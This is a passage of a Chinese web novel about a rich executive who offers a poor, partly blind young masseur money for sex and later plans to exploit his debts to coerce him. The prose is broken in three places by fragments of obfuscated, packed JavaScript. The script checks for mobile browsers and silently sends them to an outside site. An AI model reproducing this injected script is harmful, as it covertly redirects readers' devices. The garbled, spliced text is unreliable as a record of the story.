夜风吹起女人飘散的长发,昏暗的霓虹灯下,她偏头睨了凯兰一眼,神情冰冷无比。 和看一个发疯的陌生人没区别。 似乎那三个月的缠绵都是他幻想出来的。 “娆娆,你先走,我解决。”汤茵没喝酒,她得好好问问,这帮人里谁胆子那么大,敢把地址随意透露。 保镖没废话,一左一右摁住凯兰,陈娆走下台阶,司机为她打开车门。 凯兰还在喊她,可陈娆半步未停。 夜色中,车子无声驶入檀湾。 陈娆刚进屋,手机便震动两声,她脱掉外套、倒了杯水才看消息。 是一条语音。 男人温润的嗓音隐在呼啸夜风里。 【老板,我到小区门口了,门卫让我联系您,不知道您现在方不方便。】 今天就是周五。 也是她和周序约好第一次□□的时间。 才七点半,比约定时间早了半个小时。 陈娆有些意外。 深秋夜色里,周序背着双肩包站在闸门外,两个安保盯着他的一举一动。 檀湾在宁市属于顶奢级住宅,安保严格,没有户主预约不会放陌生人进去。 周序不知道,他只是跟着导航一路往大门走,结果还没靠近就被拦住。 见他是个盲人,门卫以为他走错了方向,便好心告诉他这里禁止穿行,结果周序说自己的目的地就是这里。 眼前人不是熟面孔,也没有录入过信息,便询问是哪位户主的预约。 周序不知道还要报名字,犹豫几秒才说:“陈娆小姐。” 听见名字后,安保和同伴对视一眼,不甚确定的上下打量着周序,最后落在他那张相对出色的脸上,了然了。 又一个上杆子的。 年纪轻轻的,干什么不好,总想走这种捷径。 以前也有过这种情况,没有门禁资格的年轻男人大半夜发疯,哭着闹着要找陈总,据说那人还是个演员,后来是被经纪人强行接走的。 陈娆没打过招呼,门卫也不会主动打扰户主,这才让周序自己联系。 随着时间流逝,手机迟迟没有消息传来,门卫看他的眼神也愈发轻蔑起来。 就在安保赶人前,内线电话打到了门卫室。 安保接起后,声音变得格外热情:“陈总,是是,好的好的。” 挂了电话后,安保一改刚才的冷脸,态度一百八十度转变,对周序笑道:“周先生,不好意思,刚才不知道您是陈总的客人,请跟我来吧。” 陈总? 周序睫毛轻颤,表情微怔。 这位老板在那个公司也是位高管? 那为什么会说和经理不熟。 但很快,周序想明白,在媒体部那两天他听说过,那个集团部门很多,其下职能也各不相同,管理层间不熟也有可能。 就算认识,人家也没有必要替他询问,搭这个人情。 周序被放进小区,就在他还想依靠导航寻找时,门卫将他扶到一辆轿车旁,态度客客气气:“周先生,陈总住的单元楼远,你眼睛不方便,我们送您过去更快点。” 他被迫收起盲杖,不甚习惯道:“谢谢。” 楼是两梯一户,保安将周序送进电梯,刷了卡。 十分钟后,1601的门被敲响。 陈娆打开门,看见周序时,眉梢轻挑。 站在门口的男人衣着朴素,背了个黑色双肩包,打扮的像个上门维修的工人,但气质却截然相反。 在她开门瞬间,周序偏过头,迅速露出一抹微笑,冷清的气质也随着这抹笑变得温和。 眼睛仍然是黯淡无神的,像蒙了尘的黑曜石,可依旧漂亮出众。 “老板。”他礼貌打招呼。 “进来吧。”陈娆松开手,让开身子。 周序并没有第一时间进屋,而是打开背包,翻出一次性鞋套,给自己那双已经有些开胶的鞋套了两层,又掏出消毒湿巾将盲杖擦干净,这才扶着门框走进屋子,顺便轻轻带上门。 格外有服务意识。 随后,周序拎着包,站在玄关拘谨开口:“老板,请问按摩地点在哪?我先把东西放过去。” 他是第一次上门,也格外紧张。 他不希望给雇主留下任何不好的印象,将这份天降的清闲工作弄丢,所以这两天,周序特意从网上下载了几个按摩师□□的视频,将具体流程听了好几遍。 礼貌与手法是最基本的,还要注意卫生,不要随意打探雇主家的隐私,最后看雇主心情请求好评。 一般来说,选择□□的雇主,都格外注重隐私。 周序将所有细节都记在脑子里,不多打听,也不多看。 陈娆不知道眼前人在想什么,只是看见他人高马大又拘束不已的模样,眼底不自觉浮上一抹新鲜与好笑。 像路边一只风餐露宿的大型流浪犬,第一次走进路边商户的家中,明明紧张警惕,却又故作淡定。 陈娆抬手,径直牵起对方小臂,语气格外自然:“走吧,我带你去。” 隔着冰冷衣袖,两人没有肌肤触碰,可周序还是吓了一跳,肩身僵硬,又努力放松,缓慢跟着走。 陈娆察觉到,回头瞥了眼,唇角弯起。 怪纯情的。 这套房子是平层,不用上下楼,等把人带到按摩房门口,陈娆也松手,倚着门框道:“左边是小沙发,你的东西可以放那里,右边就是按摩床,用我带你去熟悉吗?” “谢谢,不用的。”屋里开着灯,他能勉强看清一些色块。 周序将盲杖放在一边,从双肩包里拿出全套用具。 一次性手套、全新的毯子、还有消毒湿巾等等。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323471|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >最后,是一个卡包。 男人指尖一页页滑过,凭记忆抽出其中两张,递到陈娆身前,“老板,这是我的健康证和资格证。” 虽然雇主还没问,但他觉得有义务主动拿出来,这是□□的基本素养。 周序不希望给雇主留个差印象,他还挺想保住这份工作的。 月薪三千比他在之前那个会所要高,以后有机会,他白天还能干点别的兼职,说不定一个月能挣五六千。 陈娆接过来,健康证的照片和本人差别不大,只是在看见对方的出生年月时,停顿片刻。 “你十二月的生日?” “是。”周序不明所以地点头,“有什么问题吗?” “没事。”陈娆把证件递回去,她只是忽然意识到,眼前这个人,甚至还没满二十。 从某种意义来说,他才十九岁。 怪不得身上有股青涩的少年气。 年龄倒不是问题,她之前也谈过十八岁的男生,年轻、粘人、精力旺盛。 但有些时候不太懂事。 眼前的青年长睫半垂,手里抱着新拆的毯子,或许是涉世未深,看起来温和无害。 “老板,一次按摩大概是一个小时到一个半小时。”周序紧张地抿了抿唇,“要现在开始吗?” 陈娆看了眼时间:“还不到八点,不着急。你想喝点什么?红茶还是汽水?” “谢谢,我不渴。”周序连忙拒绝。 陈娆没说话,转身去外面的冰箱拿了两罐冰镇汽水,易拉罐起开那瞬,凉爽的泡沫声瞬间响起。 她将打开那听递给周序,“柠檬味的,可以吗?” 铝罐瓶身带着冰冷的水雾,挨在指尖时,一股冰爽凉意瞬间传来,周序连忙接过来,“可以的。” 雇主给的饮料,不喝也不好,周序喝了一口,清爽的柠檬味充斥口腔,他被足劲的碳酸气泡激到,眉头皱起。 陈娆慢悠悠喝了口自己的饮料,看着周序将饮料小心翼翼放在一边,继续等待。 他似乎没太多防范意识,别人递的饮料敢随意入口,如果她刚才放点东西,那周序此刻已经着了道。 “口感怎么样?”她随口问。 “好喝。”周序点头。 “直播间卖的就是这款。”陈娆奇怪道,“你之前没尝过?” 周序一愣,几秒后才摇头,指尖蜷了蜷:“没有。” 别说品尝新品,他在演播厅那几天总是一个人待在角落,需要的时候才被叫上去,嘴里没几句词。 与外面寒冷的气温截然不同,1601常年维持着最适宜温度,但对于刚从外面进来的周序来说很热。 在看见青年鼻尖的细汗时,陈娆开口道:“不用拘谨,热的话就把外套脱了。” 周序点头,没有任何防备的脱下衣服,屋里确实热,穿着外套也不好干活。 他里面穿着一件薄毛衣,最普通的米色基础款,年头应该很久了,不仅衣面起球,袖口有些短。 毛衣应该洗过很多次,纤维弹性丧失,领口处的锁骨若隐若现,像某种独特的设计。 陈娆目光扫着,脑中再度浮现那个雨夜,眼前男人弯腰时露出的景色。 周序的确很白,并且没有明显的分层晒痕,应该是天生的冷白皮,不知道身上是不是也……陈娆视线一寸寸往下扫,越过衣领边缘,看向那不算特别平坦的胸口。 看着瘦,居然还有胸肌。 陈娆有些惊讶。 应该是穿衣显瘦,脱衣有肉的身材。 让她挖到宝了。 感受到雇主打探的视线,周序不动声色地偏过身子整理东西,嘴上依旧礼貌交代着注意事项,语气却温和许多。 自从视线受损后,周序的听力就变得异样灵敏,从进屋开始他就注意到,这屋里没有第三个人,只有他和雇主两人。 而且按摩这类服务不同于其他,全程都是肢体接触。对方是个年轻女性,而他虽然眼盲,可毕竟是个陌生男性。 周序误将陈娆的探究当成对他的防备。 陈娆看出来,笑笑未挑破,继续欣赏。 直到八点的闹钟响起,她才收回视线,转身将长发拢起,随手脱掉外搭。 “好了,到你的工作时间了。” 刚丢进一旁的脏衣篓,便听见身后响起一道磕巴到语无伦次的声音,“老板,我不是全盲,您、您……” 陈娆转过头,便见周序背影僵硬,显然是看见她脱衣服的举动。 7. 第 7 章 “抱歉老板,是我忘记提前告诉您,是我的失误。”周序嘴里还在道歉,他面对着墙壁,浑身紧绷,根本不敢转身。 周序心脏扑通扑通跳的飞快,生怕下一秒就得到解聘通知。 是他的失误,让老板误以为他是全盲。 陈娆看了看脏衣篓里的衣服,又低头看看自己身上,颇为无语又好笑地走到对方身旁。 “想什么呢?”仰头看着男人莫名泛红的耳垂,陈娆逗弄的心思起来,“你刚才看见什么了?” 周序根本不敢转头,干巴巴道:“您刚才好像在……换衣服。” “我只是脱了个外套。”陈娆阐述。 听见这句话,周序唇瓣动了动,脸颊迅速浮上绯色。 不是他想的那样。 他太自以为是了。 而身前人的轻笑声,更让周序尴尬到想在脚下扒一个缝,原地钻进去。 这也不怪周序,他刚才一转头,就看见陈娆脱衣服的举动,随之而来的,是乍然变瘦的模糊色块,还有扔衣服的声音。 是他先入为主。 “对不起……”他这才转过身,声音压低,赧然道:“是我的错。” “没事。”陈娆抬起头,打量着周序的眼睛。 之前不觉得,如今仔细一看,他右眼相对左眼来说,确实还有一丝焦距。 但残存的视力肯定也不多。 因为只要周序能看清她身上穿的什么,都不会这么大大咧咧的正对着她,低头和她说话。 陈娆的吊带是低胸款,舒适贴肤,以两人的身高差,周序所站的角度,恰好能将一览无余。 可如今,周序神情没有丝毫变化,他还陷在刚才的尴尬中无法自拔,自顾自解释着他右眼还有视力,只能在白天能看清轮廓,光线稍暗,和全盲无异。 陈娆歪了歪头,抬手比了个耶,“能看清这是几吗?” 屋里不算明亮,周序盯着眼前模糊的身影,诚实开口,“看不清。” 陈娆点点头,转身上了按摩床,随口闲聊道:“眼睛是后天的?” 她虽在问,语气却是笃定。 “是。您怎么知道的?”周序有些惊讶,很多人都以为他是先天失明的。 陈娆枕在自己交叠的小臂上,歪头看周序:“你加我微信那天,手机没开旁白功能。” 闻言,周序盖毯子的动作慢了一步,下意识转头看向陈娆的脸。 虽然什么都看不清。 他没想到,这位老板观察的这么仔细。 “怎么造成的?” 周序愣了一秒才反应过来,意简言赅道:“生病,没治好。” “有治愈的可能性?”陈娆继续问,“还是在等眼角膜捐赠?” 周序拿出按摩毯,他似乎不愿意在这上面说太多,只低声说不用眼角膜。 之后就闭口不言。 陈娆也没再继续问。 她不是慈善家,可这些年里,她听过很多版本的故事,最常见的就是赌博的爸,生病的妈,上学的妹妹和破碎的他。 每个故事都大同小异,他们把自己塑造成悲情故事的主角,渴望用悲惨的身世换来同情与金钱。 每到这个时候,陈娆就会靠在对方宽阔结实的怀里,用充满怜爱的目光望着对方,享受着服务,再肆无忌惮发泄着她的欲求。 对比之下,周序称得上是最惨的一位。 毕竟他是个实打实的残障人士,但他对自己的经历闭口不谈。 周序从不卖惨,真正经历过苦难的人,不会反复撕开自己的伤口,只为换取一些无用的同情。 毯子是周序新买的,十块钱两条,刚盖到陈娆身上,她便嫌弃地蹙起眉头,捏了捏毯子后直接丢到一旁,松手时,指尖已经沾染白色毛屑。 这么粗糙又劣质的毯子,当她家的抹布都不配。 周序还没反应过来,手臂便被一把抓住,陈娆把他当扶手,借力探身打开一侧的柜子。 雇主挨得很近,熟悉又清浅的柑橘香飘入鼻腔,小臂还被紧紧攥着,他下意识绷紧肌肉,尚未反应过来,便感觉有什么东西扫过手背。 很轻,很痒。 紧接着,一个毯子被塞到周序手里,小臂也被松开。 “用这个。”陈娆道。 新毯子触感细腻柔软,与他自带的手感天差地别。 周序握着毯子点点头,心间有些尴尬。是他思虑不周,能找私人按摩师的老板自然都不差钱,他买的毯子质量确实一般。 下次得买好点的。 毯子盖在陈娆身上,在触到女人披散的长发时,周序指尖稍顿,才意识到刚才划过手背的是什么。 他戴上一次性手套,将雇主的长发轻拢到一侧,这才走到床头,指尖找准穴位。 “老板,我开始了,力道重的话你说一声就行。” “嗯。”陈娆半阖起眸,声音懒洋洋的。 周序有些紧张,自从会所离开后,他已经有三个多月没做过全套按摩了,为了不让陈娆觉得他手生,他这几天特意用玩偶练习了好几遍。 失明并未削弱周序对触感的敏锐,反而让感知力愈发精准。 生着硬茧的指腹碾过肩颈,又顺着脊椎两侧缓慢下滑,注意着每一处的僵硬。 “老板,这个力度可以吗?”他知道自己手劲重,特意收着力道。 “可以再重点。” 听着陈娆的话,周序也逐渐投入,在按到一些结节黏连时,还会提醒对方。 即便隔着一层按摩毯,周序依旧能感受出,掌心下的背脊单薄,有肌肉,体型匀称偏瘦,应该是有过锻炼,但常年坐办公室。 “您是不是长期伏案工作?这样对脊椎不好,平时自己也可以按按后颈,能加速脑部血液循环。” 陈娆有一搭没一搭回答着周序的话,平心而论,他的按摩技术只能算是一般,和她的私人理疗师更是没有丝毫可比性。 但她真正要享受的,也不是他手上的技术。 至少不止是手上的技术。 许是室温太暖,身上肌肉又被推揉开,再加上晚上喝了酒,陈娆有些热,她将身上的毯子拿掉。 周序停顿,刚想问怎么了,就听陈娆说:“就这么按。” 他自然没有反抗雇主的权利,老老实实点头,修长的指一点点下移,可按完腰身,周序却有一丝犹豫。 曾经在会所里,还因为这个闹出过事,一位醉醺醺的男顾客非说男按摩师占他便宜,一直摸他屁股,任凭按摩师如何解释都不听。等前台过去调解,男顾客才图穷见匕,非要个年轻的女按摩师给他服务。 后来如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈娆坐起身,柔顺的发丝顺着肩身垂散,她靠在按摩床旁,再度仔细打量了一遍身前这个拘谨又谦卑的男人。 从上到下,一寸寸扫过。 起球的毛衣,洗到发白褪色的牛仔裤,还有旁边那个不知用了多少年的双肩旧书包,陈娆甚至在背带上看见了红色针线缝补过的痕迹。 针脚很乱,应该是他自己缝的。 除了长得还算合心的脸蛋和高挑结实的身材,周序浑身写满''廉价''二字。 但对于陈娆来说,男人穷,是优点。 她开门见山道:“你不是想多挣点吗,陪我一次,三千。怎么样?” 陈娆没说过这么低的数字,她只是想看看周序的反应,毕竟这是他自己报的价。 不满意也可以商量,她这个人向来很好说话的。 可话语落地,周遭静默无比。 周序冰雕般站在原地,似乎压根没听清陈娆在说什么,可是轻微颤抖的声线还是暴露他的情绪。 “你说的,是什么意思?” 陈娆微笑着,换了个相对直白的说法:“我说,陪我睡一觉。” 8. 第 8 章 屋子里寂静到落针可闻,陈娆看着周序瞪大眼眶,脸色从茫然变成震撼,最后转变成冷然的愤怒与克制。 “不好意思小姐,我说过,我不是做那种工作的!”周序声音隐着冰冷怒意,却又无比坚定,“不知道哪里让您误会了,可我只是个按摩师,如果您对我的技术不满意,我可以主动辞掉这份工作,您没必要这么……” 男人停顿几秒,握紧拳头,喉结滚动,冷冷吐出三个字,“侮辱人。” 听见最后这句,陈娆没控制住笑了一声。 她多少年没听过这种台词了。 多冷清多孤傲的贫困帅哥啊,宁死不出卖尊严,无论再艰难,都只想通过勤劳的双手赚取报酬,对别人抛来的橄榄枝不屑一顾,只认为是在羞辱他。 世界上当然存在这种傲骨铮铮的人,但大部分的原因,都是橄榄枝上的果实不够重,不能一下子砸的他眼冒金星,弯下脊梁任人践踏。 陈娆看周序的眼神中浮上一种难以捉摸的色彩,似赞赏、又似嘲弄。 “我很欣赏你的态度。”女人语序缓慢,带着上位者与生自来的从容,“三千确实有些低,三万怎么样,我正好缺个男朋友。” 周序神情变得更加冷厉,他紧抿着唇,拿起自己的盲杖,摸索着开始收拾东西。 不同于进门时的小心翼翼,周序的动作又急又快,肌肉肉眼可见的紧绷。 陈娆低头,看着地上往包里塞东西的周序,眨了眨眼继续说:“三十万,我给你开支票,当我男朋友好处很多的。” 男人一秒犹豫都没有,他装好自己为数不多的私人物品,拿起外套就想离开。 “三百万。”陈娆的声音响起。 周序步伐一顿,让他驻足的原因不是那夸张离谱的报价,而是脚下绵软的感觉,他再度蹲下身,在摸出那是自己买的毛毯时,周序毫不犹豫的拉开包,将它们卷起带走。 他站起身,背对着陈娆,深吸一口气才道:“抱歉,陈小姐,我不是您要找的那种按摩师,我也无法胜任这份工作,今天的事我不会告诉任何人,您还是另请高明吧。” 说到最后一句,男人语气带着一种微妙的讽刺与怒意。 随后,盲杖轻触在瓷砖上,发出清浅噪音。 陈娆靠在门框旁,慢悠悠提醒:“走错了,那是去我卧室的路。” 男人背脊一僵,转过头,朝着大门的方向走去,步伐堪称焦急。 可这套房子太大,周序进来时是被陈娆牵着走进来的,根本不记得离开的路,几次都将盲杖扫到墙根。 陈娆看不过去,可她刚一伸手,周序便猛地蹙眉避开,似是极为厌恶她的触碰。 “你躲什么?我带你出去。”陈娆蹙眉,看向比她高了大半个头的周序,有些想笑,“怎么,还怕我强迫你?” 周序的唇抿成一条直线,神情紧绷,疏离与冷漠写在脸上。 他只是不想与眼前这个对他有企图,把他当成货物报价的人再有接触,哪怕只是一秒。 陈娆饶有兴致地观察着,眼前人显然很生气,表情比刚才按摩时的样子生动多了,“我没有那种癖好,只喜欢你情我愿的事,你现在的路线,再在这里打圈十分钟也找不到门。” 她微笑,补充一句:“我会怀疑你在欲擒故纵。” 周序骤然抬头,似乎从没听过这种无赖的话,怒意使他的嗓音不自觉压力,表情愈发冷漠,“我不是。” “我相信,所以我带你走。”陈娆攥着男人的手腕,这次周序倒是没躲,只是紧紧握着拳头,青筋凸起。 把人领到门口,松手前,陈娆补充一句:“出了这个门,刚才的话就作废了。周序,别着急拒绝,我可以给你时间考虑,要不要和我在一起。” 三百万。 多少人做梦都不敢想的待遇,如果汤茵公司里那帮模特与小偶像知道,估计恨不得争个头破血流,当场撕打起来。 可是唯一一个获得如此殊荣的男人,偏偏不知好歹地扯回衣袖,长睫敛起眸底情绪,声音极度克制:“您想多了,我有手有脚,能挣钱养活自己,不干这种脏买卖,也不想当您的男朋友。” 说完,他抬步离开。 陈娆抱臂靠在门框旁,垂散的长发遮住女人的神情,她无谓笑笑,发了个短信。 另一边,周序进了电梯,没等他分辨摁钮,门便自动合上。 是有人帮他刷了楼层。 男人用力攥着盲杖,表情带着克制的怒意,电梯门开启后,他长腿一迈,朝着大堂的方向走去。 可走到一半就被拦住,一道女声响起:“周先生,陈总安排了车送您回去,我带您过去吧。” “不用了。”周序压低声音,避开眼前人的邀请,独自走到大门外。 他不想再和楼上那位老板有任何牵扯,接受她的任何恩惠。 会所的听闻,令周序无比厌恶这种事。 今天出发前,他格外开心,好不容易有份工作,并且老板出手大方,为了给老板留下个好印象,他特意提前两小时出门,就为了不迟到。 事实证明,没有天降的好工作,如果有,背后一定隐藏着更大的阴谋。 天上掉的馅饼,咬一口都会毒死人。 失明后,周序曾经遭受过很多来自外界的调侃与恶意,但这是第一次有人敢站在他面前,光明正大提出恋爱陪睡。 走出大厅,冷风铺面而来,激的人瞬间泛起鸡皮疙瘩,周序这才回神,把攥到皱巴巴的外套穿上,又打开导航。 这个小区远比他想象中更大,一直走了半个小时,才走到傍晚被拦住的门口。 门卫还是刚才那两人,看见周序独自离开,还互相对视一眼,但谁也没多说什么。 屋漏偏逢连夜雨,人倒霉起来那是一件连着一件。 周序租的房子在一处相对偏僻的城中村,他回去时,原本的捷径小路被围挡起,他只能慢下脚步,顺着围挡边缘绕。 围挡范围比他想象中大,周序不得已绕了两条街,等到家时,已经是深夜。 破旧铁门被推开,发出令人牙酸的吱呀声,客厅无比喧闹,却在他进屋时同时寂静,还混着麻辣烫与烟酒味。 周序蹙起眉,几秒后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323473|199087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同租舍友声音响起:“这么晚我以为你不回来了,叫了点朋友来玩,别介意哈。” 周序没说什么,他回到自己的卧室,房门关上前,还听见外面压低的声音:“就他啊,去檀湾□□那个?” 有人嘘了一声,“别让人听见。” 剩下的声音随着房门被掩在门外,嘀嘀咕咕,听不真切。 周序沉默着脱下外套,端盆去洗漱,廉租房断热水是常事,冷水浇在身上,他将挤不出的洗面奶剪开,修长的指钻进去,抠挖着里面的膏体。 他和合租舍友并不熟,只是碰面点头的关系。今天下午,他在出发前,被舍友听到语音播报的目的地。 “檀湾?你去那干什么?”舍友头一次主动和他说话。 周序只说是去顾客家。 他虽然看不见,但能感受到舍友的盯着他看了很久,嘴里嘀咕着什么有钱人的口味之类的,语气带着一股子酸意。 宁市人谁不知道檀湾,有名的富人区住宅,随便一间都是千万起步。 周序还真不知道,他不是土生土长的宁市人,中学才来到这边生活。失明后更与社会有些脱节。 被舍友科普后,才明白,那是有钱人住的地方。 他当时想,怪不得会花三千雇私人按摩师,结果没想到,对方醉翁之意不在酒。 淅沥水流被关闭,那个被陈娆嫌弃的毛毯,正被周序抓着擦身子。 空荡的腹中有些刺痛,但周序没理会,来回的交通费、提前准备的用具,他今天开销已经超额了。 结果竹篮打水一场空。 只当长了个教训,最难的那年,他也没想过做这种腌臜事。 客厅闹哄哄一晚上,清晨那些人散去,廉租房终于恢复寂静时,窗外忽然响起剧烈的机器轰鸣声。 是工地在施工。 周序睁开眼,顶着眼下的淡淡乌青,爬起来继续找工作。 只要肯吃苦,人怎么样都能挣到钱。 昨夜的檀湾。 与周序的愤怒截然不同,在男人离开后,陈娆冲了个澡,躺在主卧大床上,舒适惬意地眯起眼。 紧绷的肌肉被推揉开,确实格外舒服。她没在意离开的周序,对他冷硬的拒绝更是浑不在意。 小区寂静无声,陈娆一觉睡到大天亮,浑身舒畅无比。 她起身煮了杯咖啡,日光顺着巨大的落地窗洒在身上,晒的人暖洋洋的。 直到收拾卫生的阿姨过来,拿着一个不属于这里的东西询问她怎么处理时,陈娆的思绪才被拉回昨晚。 “扔了。”她道。 一条白毛毯被扔进垃圾桶。 陈娆端着咖啡看着窗外的江景,暖阳洒在女人的面容上,她唇角噙着笑意,神情淡然自若。 只要是人,都有欲念,都有不劳而获的想法。 有她昨夜那句话作为种子,埋在周序心底,早晚会生根发芽。 盲人的就业环境本就狭窄,在他撑不下去时,总会想到昨夜他错失的捷径。 那时,抛出的橄榄枝,自然会被当成救命稻草般紧紧握住。 9. 第 9 章 许氏晚宴。 水晶灯垂落,角落里传来大提琴悠扬的演奏,陈娆坐在沙发上,正和几个圈子里的朋友闲侃。 上个月许氏中标,拿下城中村一处旧厂房开发权,这场晚宴是许竞朋友攒的局,目的是给许竞庆祝,邀请自然而然发到陈娆手里。 她和许竞虽然分过手,可也算从小到大的情谊,再加上有长辈的关系,她不好不来。 她到得晚,宴会主角已经被围起来,陈娆懒得去打招呼,直接坐到角落沙发上。 直到工作人员推着十二层的蛋糕上来,在一片祝福起哄声中,许竞拿着刀开始分蛋糕,几个朋友的视线不约而同朝着陈娆的方向看来。 “许哥,第一块给我呗,兄弟帮你不少忙呢。”有人故意说。 许竞连忙往回拿,笑骂道:“去你的,不会自己切?” “哟哟,这么宝贝的第一块,给谁啊?”那人继续起哄。 “怎么吃还堵不住你的嘴。”许竞说着,视线却忍不住看向某处。 等切完一层,许竞才拿起第一块蛋糕,毫不避讳旁人的视线,径直朝着陈娆的方向走来。 这屋里的人,都知道许竞和陈娆这么多年剪不断理还乱的关系。也几乎都下意识认为,陈娆会和许竞复合。 虽然陈娆这么多年身边的人没断过,但没关系,结婚后应该就会收心了。 直到光影被挡住,陈娆才掀起眼皮,许竞一屁股坐在她身旁,将小蛋糕亲自端到女人身前,“尝尝,我特意请的阿娅的糕点师。” 是她以前最喜欢的甜品店。 陈娆转过头,黑瞳盯着许竞,后者用勺子挖了块蛋糕,喂到她嘴旁,“陈总,吃一口,沾沾喜气。” 这话倒是中听,陈娆还算给面子的尝了一口,咽下奶油后,唇角微勾,笑盈盈道:“恭喜啊,许总。” “说真的,我最不想听见的就是你说恭喜我。”许竞苦笑一下,抽了张纸,给她擦着唇角并不存在的奶油,“怎么样,味道没变吧?” 陈娆没接话,而是看着许竞眼下的乌青,询问道:“阿姨情况怎么样?” 许竞的母亲前几年身体就不太好,一直在国外疗养,他每年都得飞几次国外,今年的情况愈发不好,昨天刚做完一场大手术,听说下了病危通知书。 许竞唇角笑意消失,那些光鲜亮丽潮水般消退,他指节屈起,默了几秒才垂眸道:“不太乐观。” “什么时候走?” “明天早上的飞机。” 陈娆点点头:“到了后,代我向阿姨问好。” “一定的。”许竞唇角弯起,试探着玩笑道,“到时候我告诉她,你同意当她儿媳妇了,说不定她老人家一高兴,还能多活几年。” 陈娆蹙眉,冷冷瞥了许竞一眼。 后者也意识到这个玩笑并不好笑,他垂下脑袋,再抬头时,望着陈娆目光复杂不已:“娆娆,我不知道我妈这次能不能挺过去,也不知道要多久能回来,你能不能等等我。” “等你什么?”陈娆奇怪道。 许竞没回答,继续说:“别玩那些下流货色了,等我回来,行吗?” 见陈娆没说话,他俯身靠近,眼底流露出一种难以言喻的悲伤,“当我求你,好吗。” 女人眉头缓缓拧紧,可看见眼前罕见流露出真实情绪的许竞,她还是开口:“看我心情吧。” 虽然敷衍的意味很重,可是许竞却笑了。 他到底是这场宴会的主角,在陈娆身边待了一会儿,便被兄弟们喊走,这几个靠父母庇佑的二世祖没再敢和多年前那样不知死活的喊她嫂子,一个两个全都恭恭敬敬叫了声陈总。 陈娆今天心情还行,一场宴会下来,唇角全程挂着笑意。 回程的路上,她再度点开助理发过来的文件。 里面有几张照片。 烟尘弥漫的工地上,身姿修长的男人穿着荧光工服、安全帽,手里戴着劳保手套,正推着一车砖头前行。 不是周序还是谁。 陈娆真是没想到,周序拒绝她以后,竟然会跑到工地干活。 和她想象中软绵的白羊性格相差甚远。还真是有骨气,宁愿干这种卖力气的苦差,也不愿意和她好。 又蠢又犟。 她都想给对方比个大拇指。 紧随其后的还有一段视频,专业设备拍摄,格外清晰。 明明是深秋十月,男人却挽起衣袖,露出结实有力的小臂,皮肤上沾着沙子,整个人裹在一层灰扑扑的尘土气里。 唯独那张脸,看着还顺眼。 但因视力受限,他只循着墙根,一趟趟沉默地搬运,隔着工装,都能看出他结实修长的双腿。 视频中,周序弯腰将砖头一块块垒起,用力时,小臂青筋凸起,汗水顺着额角滚落,汇聚在下颚,又滴在地上。 垒好砖头后,男人摘下右手手套,露出一只骨感清晰的手,即便沾染泥沙,依旧不掩利落好看的线条。 不久前还按揉过她肩颈的手,此刻正挨个抚过那些粗劣的砖头,确认数量。 肯定会磨出厚茧。 她不太喜欢床伴的指腹有硬茧,适中还好,太厚了会磨。不仅影响美观,也不太实用。 确认砖头数量后,周序戴上手套,继续重复单一乏累的工作。 视频自此结束,漆黑屏幕上映出女人的眉眼。 自从那天周序从檀湾离开后,陈娆再没联系过对方,她最近工作忙的抽不开身,连着在公司加班又应付了几个酒局后,日程终于松快些。 前两天,陈娆仰靠在办公室的座椅上,摘掉鼻梁上那副金丝眼镜,轻出一口气,抬手揉着自己发酸的肩颈。 旁边的李梦瞧见,走过来替她按揉,询问是否需要预约理疗师。 陈娆习惯性点点头。 在身体得到极致的放松时,她脑海中再度浮现一个身影。 英俊的骨相、青涩的按摩手法、还有略显生疏的自我推销。 也不知道现在在哪家按摩店发传单呢。 以陈娆的关系网,想找个人并不困难,对方的特征又实在明显。 于是今天下午,陈娆收到了这份文件。 李梦将文件传给她时,还说:“陈总,周先生已经在工地半个月了,需要找个理由辞退吗?” 一般的工地,自然无法随意插手。 但好巧不巧,周序所在的工地,正是许竞前段时日刚承包的地盘。 许家与陈家利益来往密切,这种小事,甚至不用陈娆开口。 “先不用。”她当时说。 就在陈娆还没想好,要以什么理由再把周序叫过来时,一个天降的机会摆在她身前。 收到这个消息时,她都有些失语。 周序工地失误,砸伤工友,损坏贵重设备,正面对高额赔偿。 这真是。好像不趁机胁迫一下这个倒霉到家的男人,都说不过去。 天助她也。 * 充斥着消毒水气息的医院走廊里,周序攥着盲杖,挺高大的一个人,却憔悴低着头,姿态卑微不已。 “您宽限几天吧,我肯定马上借到钱。” 他面前膀大腰圆的包工头啐了一口,语气盛怒道:“你求我有什么用啊,法院判决都出来了,二十万,求谁都没用!” 再次听见这个数字,周序脸色惨白。 包工头骂了句脏话,越看周序越来气:“我当时要不是看你可怜,才不会让你进工地干活。现在好了,我还要被你连累,真几把晦气到家了!” 见周序还杵在原地不动,包工头喊道:“傻站着干什么,先去把住院费交了啊!等着我给你交呢?” 男人低 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“抱歉。”他哑声承诺,“我一定会尽快把赔偿款付给您的。” 回应他的,是病房里的哭泣与咒骂声。 当初从檀湾回来,周序便马不停蹄开始找工作,奈何屡屡碰壁,大部分行业都不愿意聘用一个有视力残障的人,别说干活,不添乱就不错了。 